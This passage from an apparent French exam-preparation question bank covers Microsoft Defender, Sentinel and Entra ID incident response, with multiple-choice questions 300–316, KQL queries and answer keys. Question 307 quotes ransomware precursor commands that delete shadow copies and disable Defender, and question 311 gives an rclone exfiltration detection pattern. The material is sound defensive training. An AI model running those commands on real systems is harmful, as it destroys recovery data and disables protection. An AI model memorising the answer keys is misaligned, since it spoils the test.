- Enquête sur l'attaque par pulvérisation de mots de passe — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-password-spray

## Question n° 300 — Compte hybride compromis

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un compte Active Directory synchronisé vers Microsoft Entra ID est compromis. L'attaquant l'utilise à la fois sur le réseau interne et dans Microsoft 365. Quelle approche de confinement est correcte ?

**A.** Supprimer le compte dans Entra ID uniquement.

**B.** Agir sur les deux plans : désactiver ou réinitialiser le compte dans Active Directory (source d'autorité), forcer la synchronisation ou agir aussi dans Entra ID, et révoquer les sessions cloud.

**C.** Agir uniquement dans AD et attendre le cycle de synchronisation normal.

**D.** Agir uniquement dans Entra ID, car le cloud est prioritaire.

**Bonne réponse : B**

**Correction détaillée**

Pour une identité **hybride**, AD est généralement la **source d'autorité** : on désactive/réinitialise dans AD (ou via les actions MDI), puis on s'assure que l'état est propagé (synchronisation accélérée, ou désactivation aussi dans Entra ID) et on **révoque les sessions** cloud.

**Analyse des réponses incorrectes**

- **A.** Il serait recréé par la synchronisation et l'accès AD persisterait.
- **C.** Les sessions et jetons cloud resteraient valides pendant ce temps.
- **D.** Le compte AD resterait utilisable sur le réseau interne et la synchronisation pourrait annuler certaines modifications.

**Explication technique**

Penser aux tickets Kerberos déjà émis (durée de vie jusqu'à 10 heures par défaut) : la désactivation du compte n'invalide pas immédiatement les tickets ; une purge des tickets sur les machines concernées ou le redémarrage peut être nécessaire. L'interruption automatique d'attaque peut agir sur les deux plans.

**Point à retenir pour l'examen :** Compte hybride : agir dans AD (source) ET dans le cloud (sessions), sans attendre la synchronisation normale.

**Référence officielle**

- Actions de correction dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/remediation-actions
- Révoquer les accès utilisateur dans Microsoft Entra ID — https://learn.microsoft.com/fr-fr/entra/identity/users/users-revoke-access

## Question n° 301 — Verrouillages massifs de comptes

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Le centre de services signale des dizaines de verrouillages de comptes AD depuis 9 h. Quelle requête aide le plus vite à identifier la source ?

**A.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(4h)
| where EventID == 4720
```

**B.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(4h)
| where EventID == 4624
| summarize count() by Computer
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(4h)
| where EventID == 4740
| summarize Verrouillages = count(), Comptes = dcount(TargetAccount) by CallerComputer =
tostring(TargetDomainName)
| order by Verrouillages desc
```

**D.**

REQUÊTE KQL

```
Syslog
| where TimeGenerated > ago(4h)
| where Facility == "kern"
```

**Bonne réponse : C**

### Correction détaillée

L'événement **4740** (compte verrouillé), journalisé sur les contrôleurs de domaine (notamment l'émulateur PDC), indique le **nom de l'ordinateur appelant** (Caller Computer Name), qui apparaît dans le champ TargetDomainName de cet événement. Le regroupement par appelant révèle rapidement la source (attaque ou service mal configuré avec un ancien mot de passe).

### Analyse des réponses incorrectes

- **A.** Créations de comptes.
- **B.** Ouvertures de session réussies, sans lien avec les verrouillages.
- **D.** Journaux noyau Linux.

### Explication technique

Dans le schéma de l'événement 4740, le champ « Caller Computer Name » est mappé sur TargetDomainName — une particularité souvent source d'erreurs. Compléter par 4625/4771/4776 (échecs) pour l'IP source. MDI fournit aussi des alertes de force brute.

### Résultat attendu

Les ordinateurs appelants classés par nombre de verrouillages et de comptes touchés.

### Hypothèses liées au schéma de données

Hypothèse : collecte des événements 4740 des contrôleurs de domaine dans SecurityEvent.

**Point à retenir pour l'examen :** Verrouillages : 4740 sur les DC ; l'ordinateur appelant indique la source.

### Référence officielle

- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent

## Question n° 302 — Bloquer une adresse IP d'attaque côté identité

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une IP étrangère mène une pulvérisation continue contre vos comptes Entra ID. Quelle mesure bloque ses tentatives d'authentification au niveau de l'identité cloud ?

**A.** Créer un emplacement nommé contenant l'IP (ou la plage) et une stratégie d'accès conditionnel bloquant l'accès depuis cet emplacement.

**B.** Ajouter l'IP à une watchlist Sentinel.

**C.** Ajouter l'IP à une règle ASR.

**D.** Bloquer l'IP dans le pare-feu du siège uniquement.

**Bonne réponse : A**

**Correction détaillée**

L'**accès conditionnel** peut bloquer des **emplacements nommés** (plages IP ou pays). Les tentatives sont alors rejetées après l'évaluation de l'identité, ce qui protège même si le mot de passe est trouvé.

**Analyse des réponses incorrectes**

- **B.** Une watchlist ne bloque rien par elle-même.
- **C.** Les règles ASR ne gèrent pas les IP ni l'authentification cloud.
- **D.** L'attaque vise les services cloud, accessibles depuis Internet sans passer par le pare-feu du siège.

**Explication technique**

Le verrouillage intelligent (Smart Lockout) limite aussi les essais. Les attaquants changent souvent d'IP : combiner avec le blocage de l'authentification héritée, la MFA et la protection par mot de passe. Un playbook Sentinel peut automatiser l'ajout d'IP à un emplacement nommé.

**Point à retenir pour l'examen :** Bloquer une IP pour l'identité cloud = emplacement nommé + accès conditionnel (blocage).

**Référence officielle**

- Qu'est-ce que l'accès conditionnel ? — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/overview

## Question n° 303 — Investiguer un utilisateur à risque élevé

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Entra ID Protection signale un utilisateur à risque élevé avec la détection « Leaked credentials ». Quelle démarche d'investigation est la plus appropriée ?

**A.** Supprimer immédiatement tous les appareils de l'utilisateur.

**B.** Désactiver Entra ID Protection pour cet utilisateur.

**C.** Ignorer la détection car le mot de passe a probablement été changé depuis.

**D.** Vérifier les connexions récentes de l'utilisateur (succès depuis des IP/pays inhabituels), les autres détections de risque, puis forcer une modification sécurisée du mot de passe et confirmer ou rejeter la compromission.

**Bonne réponse : D**

**Correction détaillée**

**Leaked credentials** indique que les identifiants ont été trouvés dans des fuites publiques ou le dark web. Même sans connexion malveillante observée, le mot de passe doit être **changé** (idéalement via la stratégie de risque utilisateur). On vérifie aussi l'absence d'usage frauduleux préalable.

**Analyse des réponses incorrectes**

- **A.** Mesure disproportionnée sans analyse.
- **B.** Réduirait la protection.
- **C.** Il faut le vérifier ; l'utilisateur peut avoir réutilisé le même mot de passe.

**Explication technique**

Les rapports « Utilisateurs à risque », « Connexions à risque » et « Détections de risque » d'Entra ID Protection, ainsi que les tables AADUserRiskEvents et AADRiskyUsers dans Sentinel, soutiennent

l'investigation.

**Point à retenir pour l'examen :** Identifiants divulgués = changement de mot de passe obligatoire + vérification d'un usage frauduleux antérieur.

### Référence officielle

- Comment examiner les risques — https://learn.microsoft.com/fr-fr/entra/id-protection/howto-identity-protection-investigate-risk

## Question n° 304 — Création suspecte de compte cloud

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un compte « support-it-temp » a été créé dans Entra ID à 3 h du matin puis ajouté au rôle Administrateur général. Quelle requête permet de retrouver qui l'a fait ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(2d)
| where UserPrincipalName has "support-it-temp"
```

**B.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(2d)
| where OperationName in ("Add user", "Add member to role")
| extend Cible = tostring(TargetResources[0].userPrincipalName), Auteur =
coalesce(tostring(InitiatedBy.user.userPrincipalName), tostring(InitiatedBy.app.displayName))
| where Cible has "support-it-temp"
| project TimeGenerated, OperationName, Auteur, Cible, Result
```

**C.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(2d)
| where OperationNameValue has "roleAssignments"
```

**D.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(2d)
| where EventID == 4720
```

**Bonne réponse : B**

### Correction détaillée

Les créations d'utilisateurs et les ajouts à des rôles **Entra ID** sont dans **AuditLogs** (« Add user », « Add member to role »). L'auteur est dans **InitiatedBy** (utilisateur ou application) et la cible dans **TargetResources**.

### Analyse des réponses incorrectes

- **A.** Montre les connexions du nouveau compte, pas l'auteur de sa création.
- **C.** Rôles Azure RBAC, pas rôles d'annuaire Entra ID.
- **D.** 4720 concerne Active Directory local, pas Entra ID.

### Explication technique

Technique T1136.003 (Create Cloud Account) et T1098.003 (Additional Cloud Roles). Si l'auteur est une application, investiguer ses identifiants et ses permissions. Les rôles à privilèges devraient être gérés par **PIM** (attributions éligibles, approbation, audit).

**Résultat attendu**

Les opérations de création et d'attribution de rôle avec leur auteur.

> **Point à retenir pour l'examen :** Comptes et rôles Entra = AuditLogs (InitiatedBy = auteur, TargetResources = cible).

**Référence officielle**

- Journaux d'audit — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/auditlogs

### Question n° 305 — Désactiver un utilisateur depuis un incident

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Dans un incident Defender XDR, un compte cloud est confirmé compromis. Quelle action rapide est disponible depuis la page de l'utilisateur dans le portail Defender ?

**A.** Ajouter l'utilisateur à une règle ASR.

**B.** Supprimer définitivement le locataire Microsoft 365.

**C.** Désactiver/suspendre l'utilisateur ou le marquer comme compromis (selon les intégrations Entra ID et Defender for Identity disponibles).

**D.** Exécuter une analyse antivirus sur l'utilisateur.

**Bonne réponse : C**

**Correction détaillée**

La page d'**utilisateur** du portail Defender propose des actions de réponse : **désactiver l'utilisateur** (AD via MDI, Entra ID), **marquer comme compromis** (risque élevé Entra ID Protection), **exiger une nouvelle connexion**, **réinitialiser le mot de passe** selon les intégrations.

**Analyse des réponses incorrectes**

- **A.** Les règles ASR ne ciblent pas les identités.
- **B.** Absurde et destructeur.
- **D.** Une analyse antivirus s'applique à un appareil, pas à une identité.

**Explication technique**

Les actions sont journalisées dans le Centre de notifications. Les mêmes actions peuvent être automatisées par l'interruption automatique d'attaque, des détections personnalisées ou des playbooks.

> **Point à retenir pour l'examen :** Page utilisateur Defender = actions d'identité (désactiver, marquer compromis, nouvelle connexion, mot de passe).

**Référence officielle**

- Actions de correction dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/remediation-actions
- Examiner les incidents dans le portail Microsoft Defender (ancienne version) — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-incidents

## 4.4 Rançongiciels et activités précurseurs

### Question n° 306 — Rançongiciel opéré par l'humain

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quelle caractéristique distingue un rançongiciel « opéré par l'humain » d'un rançongiciel de masse automatisé ?

A. Il ne peut pas être détecté avant le chiffrement.

B. Il ne chiffre que les fichiers d'un seul poste.

C. Il se propage uniquement par clé USB.

D. Des attaquants mènent une intrusion préalable (accès initial, élévation de privilèges, mouvement latéral, désactivation des défenses, exfiltration) avant de déployer le chiffrement sur un maximum de systèmes.

**Bonne réponse : D**

**Correction détaillée**

Les **rançongiciels opérés par l'humain** suivent une chaîne d'attaque complète, souvent sur plusieurs jours ou semaines : accès initial (identifiants volés, RDP exposé, vulnérabilité), découverte, vol d'identifiants, mouvement latéral, **inhibition de la récupération**, **exfiltration** (double extorsion), puis chiffrement simultané.

**Analyse des réponses incorrectes**

- **A.** Les étapes préalables (reconnaissance, vol d'identifiants, désactivation de défenses) offrent de nombreuses occasions de détection.
- **B.** Au contraire, l'objectif est l'impact maximal sur l'organisation.
- **C.** Le vecteur n'est pas le critère distinctif.

**Explication technique**

La détection des **précurseurs** (outils de reconnaissance, Cobalt Strike, vol de LSASS, désactivation de Defender, suppression des clichés instantanés) est la clé. Defender XDR applique l'interruption automatique d'attaque à ces scénarios.

**Point à retenir pour l'examen :** Rançongiciel opéré par l'humain = intrusion complète avant chiffrement ; détecter les précurseurs.

**Référence officielle**

- Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware

## Question n° 307 — Précurseurs à prioriser

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Parmi les événements suivants observés sur des serveurs le même soir, lesquels sont les plus caractéristiques d'une préparation de rançongiciel ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

A. L'exécution de « vssadmin delete shadows /all /quiet » sur plusieurs serveurs.

B. Des connexions d'utilisateurs à Outlook le matin.

C. La mise à jour mensuelle de Windows via WSUS.

D. La création d'un rapport Power BI.

E. Des tentatives de désactivation de l'antivirus Microsoft Defender (Set-MpPreference -DisableRealtimeMonitoring) et d'arrêt de services de sauvegarde.

**Bonne réponse : A, E**

**Correction détaillée**

L'**inhibition de la récupération** (T1490 : suppression des clichés, du catalogue de sauvegarde) et l'**affaiblissement des défenses** (T1562.001 : désactivation de l'antivirus, arrêt des services de sécurité/sauvegarde) précèdent typiquement le chiffrement.

**Analyse des réponses incorrectes**

- **B.** Activité normale.
- **C.** Activité de maintenance planifiée.
- **D.** Activité métier normale.

**Explication technique**

La protection contre les falsifications empêche la désactivation de Defender. Ces signaux justifient une réponse immédiate : isolement des serveurs touchés, désactivation des comptes utilisés, recherche de l'outil de déploiement (GPO, PsExec, tâches planifiées).

**Point à retenir pour l'examen :** Précurseurs forts : suppression des clichés/sauvegardes et désactivation des défenses.

**Référence officielle**

- Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 308 — Confinement d'un rançongiciel en cours

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Le chiffrement a commencé sur deux serveurs de fichiers et se propage via un compte d'administrateur de domaine compromis. Quelles actions de confinement sont prioritaires ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Isoler les appareils touchés et ceux d'où provient la propagation (via MDE), ou contenir les appareils non gérés.

**B.** Désactiver le compte d'administrateur compromis (et les autres comptes utilisés par l'attaquant) dans AD et Entra ID.

**C.** Payer immédiatement la rançon pour stopper la propagation.

**D.** Lancer une restauration des sauvegardes sur les serveurs encore connectés.

**E.** Redémarrer tous les serveurs pour arrêter les processus.

**Bonne réponse : A, B**

**Correction détaillée**

Le **confinement** vise à arrêter la propagation : **isoler** les appareils (MDE garde la connexion de gestion), **contenir** les appareils non gérés, **désactiver** les comptes compromis (MDI pour AD, Entra ID), bloquer les mécanismes de déploiement (GPO malveillante, tâches planifiées).

**Analyse des réponses incorrectes**

- **C.** Le paiement n'arrête pas une propagation en cours et n'est pas une mesure de confinement.
- **D.** Restaurer avant le confinement expose les sauvegardes au chiffrement.
- **E.** Perte des preuves volatiles et risque de réexécution par persistance.

**Explication technique**

L'**interruption automatique d'attaque** de Defender XDR applique précisément ces actions (contenir l'appareil, contenir/désactiver l'utilisateur) dans les scénarios de rançongiciel. Protéger les **sauvegardes** (hors ligne/immuables) avant toute restauration.

**Point à retenir pour l'examen :** Rançongiciel actif : isoler/contenir les appareils + désactiver les comptes utilisés ; restaurer seulement après confinement.

**Référence officielle**

- Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware
- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts

## Question n° 309 — Restauration après rançongiciel

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après l'éradication d'un rançongiciel, quelle précaution est essentielle avant de restaurer les serveurs depuis les sauvegardes ?

**A.** Vérifier que les sauvegardes sont saines (antérieures à l'intrusion, sans persistance de l'attaquant) et que les vecteurs d'accès et comptes compromis ont été neutralisés.

**B.** Restaurer directement sur le réseau de production avant la fin de l'enquête.

**C.** Désactiver la journalisation pour accélérer la restauration.

**D.** Restaurer la sauvegarde la plus récente sans vérification, car elle contient le moins de pertes de données.

**Bonne réponse : A**

**Correction détaillée**

La **restauration** ne doit intervenir qu'après **éradication** (accès de l'attaquant supprimés, identifiants réinitialisés, y compris krbtgt si nécessaire) et sur des **sauvegardes vérifiées** : l'intrusion a souvent commencé bien avant le chiffrement, des sauvegardes récentes peuvent contenir des portes dérobées.

**Analyse des réponses incorrectes**

- **B.** Risque de réinfection si l'attaquant a encore un accès.
- **C.** La surveillance renforcée est nécessaire après restauration.
- **D.** Elle peut contenir la persistance de l'attaquant (installée avant le chiffrement).

**Explication technique**

Restaurer d'abord les services critiques dans un environnement contrôlé, analyser les images (antivirus, chasse sur les IOC connus), puis remettre en production sous **surveillance renforcée** (règles temporaires, chasse ciblée).

**Point à retenir pour l'examen :** Restaurer après éradication, depuis des sauvegardes vérifiées antérieures à l'intrusion, puis surveiller.

**Référence officielle**

- Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware

## Question n° 310 — Déploiement par stratégie de groupe

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Le rançongiciel a été déployé simultanément sur 400 postes. L'enquête montre qu'une GPO nommée « Maintenance » a été créée la veille et lance un script depuis SYSVOL. Que traduit ce mécanisme et quelle mesure s'impose ?

**A.** Il s'agit d'une mise à jour légitime ; aucune mesure n'est nécessaire.

**B.** Il faut réinstaller uniquement les 400 postes.

C. L'attaquant a obtenu des droits élevés sur le domaine et utilise une modification de stratégie de domaine (T1484.001) pour déployer sa charge ; il faut désactiver/supprimer la GPO, préserver le script comme preuve et traiter la compromission des comptes à privilèges.

D. Il suffit de supprimer le script de SYSVOL.

**Bonne réponse : C**

**Correction détaillée**

La création ou modification de **GPO** pour exécuter des scripts ou des tâches planifiées sur tout le parc (**T1484.001 – Group Policy Modification**) exige des privilèges d'administration du domaine. La réponse inclut la neutralisation de la GPO, l'analyse de la charge, l'identification du compte utilisé et la remédiation de la compromission de l'annuaire.

**Analyse des réponses incorrectes**

- **A.** Une GPO inconnue lançant un script la veille d'un chiffrement massif est malveillante.
- **B.** Sans traiter le contrôle de l'annuaire, l'attaquant recommencerait.
- **D.** La GPO et les droits de l'attaquant resteraient en place.

**Explication technique**

Defender for Identity et l'audit AD (5136 – modification d'objet d'annuaire) aident à détecter les changements de GPO. MDE voit l'exécution du script sur les postes (processus lancés par gpscript.exe ou des tâches planifiées).

**Point à retenir pour l'examen :** GPO malveillante = compromission des privilèges du domaine ; neutraliser la GPO et traiter les comptes à privilèges.

**Référence officielle**

- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview
- Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware

## Question n° 311 — Double extorsion

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Le groupe de rançongiciel affirme avoir volé 200 Go de données avant le chiffrement. Quelles sources consulter pour vérifier une exfiltration ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

A. Les journaux réseau (pare-feu/proxy, DeviceNetworkEvents) pour des volumes sortants inhabituels vers des services de stockage ou des IP inconnues.

B. L'exécution d'outils de synchronisation/archivage (rclone, MEGAsync, 7-Zip, WinRAR) dans DeviceProcessEvents sur les serveurs de fichiers.

C. Les recommandations de Defender for Cloud uniquement.

D. La table Heartbeat.

E. Le Secure Score Microsoft.

**Bonne réponse : A, B**

**Correction détaillée**

La **double extorsion** combine vol de données et chiffrement. L'exfiltration laisse des traces : **volumes sortants** anormaux (CommonSecurityLog, DeviceNetworkEvents, journaux de proxy), **outils** d'archivage et de transfert (rclone vers des stockages cloud, T1567.002 ; 7-Zip/WinRAR, T1560), connexions vers des hébergeurs de fichiers.

**Analyse des réponses incorrectes**

- **C.** Elles décrivent des configurations, pas des transferts passés.
- **D.** Disponibilité des agents.
- **E.** Indicateur de posture, sans trace des transferts.

**Explication technique**

Exemples de chasse : `DeviceProcessEvents | where FileName in~ ("rclone.exe") or ProcessCommandLine has_any ("mega", "copy", "--config")`. Croiser avec les accès aux partages sensibles (DeviceFileEvents, journaux SMB) pour identifier les données concernées et les obligations de notification.

**Point à retenir pour l'examen :** Vérifier l'exfiltration : volumes réseau sortants + outils d'archivage/transfert (rclone, 7-Zip…).

**Référence officielle**

- Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware

## Question n° 312 — Outil de commande et contrôle sur des serveurs

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** MDE détecte un « beacon » Cobalt Strike sur un serveur. Quelle démarche permet d'identifier rapidement les autres systèmes infectés ?

**A.** Bloquer tout le trafic HTTPS sortant de l'entreprise.

**B.** Extraire les indicateurs (hachage du binaire/DLL, IP et domaines de C2, nom de canal nommé, ligne de commande) et les rechercher dans tout le parc via la chasse avancée, puis isoler les appareils trouvés.

**C.** Réinstaller le seul serveur détecté.

**D.** Attendre que d'autres alertes se déclenchent.

**Bonne réponse : B**

**Correction détaillée**

Le **pivot sur les indicateurs** (fichiers, réseau, processus) via la **chasse avancée** révèle la portée de l'infection. Les beacons utilisent souvent HTTPS, DNS ou des canaux nommés (SMB) pour communiquer entre machines compromises.

**Analyse des réponses incorrectes**

- **A.** Disproportionné et inutile si les IOC sont connus.
- **C.** D'autres systèmes peuvent être compromis.
- **D.** Les beacons peuvent rester discrets ; une chasse proactive est nécessaire.

**Explication technique**

Requêtes utiles : DeviceNetworkEvents sur les IP/domaines de C2, DeviceProcessEvents/DeviceImageLoadEvents sur les hachages, DeviceEvents (NamedPipeEvent) pour les canaux nommés. Bloquer ensuite les IOC (indicateurs MDE, pare-feu) et rechercher le vecteur d'accès initial.

**Point à retenir pour l'examen :** Un implant trouvé = pivoter sur ses IOC dans tout le parc (chasse avancée) avant d'éradiquer.

**Référence officielle**

- DeviceNetworkEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicenetworkevents-table
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 313 — Accès initial par RDP exposé

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** L'enquête sur un rançongiciel révèle que le premier accès s'est fait par RDP sur un serveur exposé directement sur Internet, avec un compte local au mot de passe faible. Quelle mesure corrige durablement ce vecteur ?

**A.** Supprimer l'exposition directe de RDP (accès via VPN/passerelle avec MFA ou accès juste-à-temps), et renforcer/gérer les comptes locaux (LAPS, mots de passe uniques).

**B.** Désactiver la journalisation des ouvertures de session RDP.

**C.** Bloquer les adresses IP de l'attaquant uniquement.

**D.** Changer le port RDP de 3389 à 3390.

**Bonne réponse : A**

### Correction détaillée

Les **services d'accès distant exposés** (T1133) et les **comptes valides faibles** (T1078) sont des vecteurs majeurs. La correction consiste à **supprimer l'exposition** (VPN avec MFA, Azure Bastion, accès juste-à-temps de Defender for Cloud) et à gérer les mots de passe locaux (Windows LAPS).

### Analyse des réponses incorrectes

- **B.** Réduirait la visibilité sans corriger le problème.
- **C.** L'attaquant changera d'IP ; l'exposition reste.
- **D.** L'obscurcissement du port ne résiste pas aux scanners.

### Explication technique

Defender for Cloud signale les ports de gestion ouverts sur Internet et propose l'accès juste-à-temps (JIT) pour les VM Azure. La surface d'attaque externe (Defender EASM) identifie les services exposés.

**Point à retenir pour l'examen :** RDP exposé = supprimer l'exposition (VPN/MFA, Bastion, JIT) + LAPS ; changer le port ne suffit pas.

### Référence officielle

- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent

## Question n° 314 — Mode Audit vs mode Bloquer contre un rançongiciel

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après un incident, l'audit révèle que la règle ASR « Utiliser une protection avancée contre les rançongiciels » et l'accès contrôlé aux dossiers étaient configurés en mode Audit. Quel est l'enseignement principal ?

**A.** Il faut les désactiver car elles ont généré des événements.

**B.** Le mode Audit bloque les menaces les plus graves.

**C.** Ces protections sont inutiles contre les rançongiciels.

**D.** En mode Audit, ces protections ne font que journaliser : elles n'ont rien bloqué. Après validation des exclusions nécessaires, elles doivent passer en mode Bloquer.

**Bonne réponse : D**

**Correction détaillée**

Le **mode Audit** sert à évaluer l'impact avant activation ; il **ne bloque pas**. Un déploiement resté en Audit au-delà de la phase de test laisse une fausse impression de protection.

**Analyse des réponses incorrectes**

- **A.** Les événements d'audit sont précisément la base pour passer en mode Bloquer.
- **B.** Le mode Audit ne bloque jamais.
- **C.** Elles réduisent fortement les capacités de chiffrement et de lancement de charges.

**Explication technique**

Utiliser les rapports ASR et DeviceEvents (`*Audited`) pour identifier les applications légitimes à exclure, puis basculer en Bloquer. Le retour d'expérience doit suivre ces écarts de configuration (Secure Score, recommandations de configuration).

**Point à retenir pour l'examen :** Audit = journalisation seule ; une protection anti-rançongiciel efficace doit être en mode Bloquer.

**Référence officielle**

- Vue d'ensemble des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-overview
- Vue d'ensemble de l'accès contrôlé aux dossiers (CFA) — https://learn.microsoft.com/fr-fr/defender-endpoint/controlled-folder-access-overview

## Question n° 315 — Note de rançon et chasse

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un fichier « LISEZ-MOI-RESTAURATION.txt » apparaît sur plusieurs serveurs. Quelle requête de chasse avancée permet de lister rapidement tous les appareils touchés ?

**A.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl has "LISEZ-MOI"
```

**B.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(2d)
| where AccountName =~ "LISEZ-MOI-RESTAURATION.txt"
```

**C.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(2d)
| where ActionType == "FileCreated"
| where FileName =~ "LISEZ-MOI-RESTAURATION.txt"
| summarize Fichiers = count(), Premier = min(Timestamp) by DeviceName,
InitiatingProcessFileName, InitiatingProcessAccountName
| order by Premier asc
```

**D.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(2d)
| where Subject has "RESTAURATION"
```

**Bonne réponse : C**

**Correction détaillée**

Les notes de rançon sont des **fichiers créés** dans de nombreux dossiers : **DeviceFileEvents** (ActionType FileCreated) permet de lister les appareils touchés, le **processus créateur** (souvent le binaire de chiffrement) et le **compte** utilisé, triés par heure d'apparition.

**Analyse des réponses incorrectes**

- **A.** La note de rançon est un fichier local, pas une URL.
- **B.** Un nom de fichier n'est pas un compte.
- **D.** La note n'est pas envoyée par e-mail.

**Explication technique**

La première apparition indique souvent le patient zéro ou le point de départ du déploiement. Le processus initiateur fournit le hachage à rechercher et bloquer. Combiner avec les renommages massifs de fichiers.

**Résultat attendu**

Une ligne par appareil, processus et compte, avec le nombre de notes et la première création.

**Point à retenir pour l'examen :** Notes de rançon = DeviceFileEvents (FileCreated) → appareils, processus chiffreur, compte.

**Référence officielle**

- DeviceFileEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicefileevents-table

## 4.5 Exfiltration, scripts, persistance et mouvement latéral

### Question n° 316 — Exfiltration vers un stockage cloud personnel

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un employé sur le départ est soupçonné d'avoir copié des fichiers sensibles vers son stockage cloud personnel. Quelles sources sont les plus pertinentes ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** La table Heartbeat.

**B.** Les journaux Microsoft 365 (Purview Audit, CloudAppEvents) pour les téléchargements massifs depuis SharePoint/OneDrive avant le transfert.

**C.** Cloud Discovery / Defender for Cloud Apps (applications cloud utilisées et volumes de chargement depuis les postes MDE).

**D.** Le journal d'activité Azure.

**E.** Le rapport de santé des capteurs MDI.

**Bonne réponse : B, C**

**Correction détaillée**

L'exfiltration vers le cloud personnel (T1567.002) s'observe par : l'**usage d'applications cloud** et les volumes chargés (Cloud Discovery alimenté par MDE), les **téléchargements massifs** préalables depuis Microsoft 365 (audit, CloudAppEvents), la **DLP des terminaux** (copie vers USB, chargement vers des sites non autorisés).

**Analyse des réponses incorrectes**

- **A.** Disponibilité des agents.
- **D.** Il trace le plan de contrôle Azure, pas les transferts de fichiers d'un employé.
- **E.** Sans rapport avec l'exfiltration de fichiers.

**Explication technique**

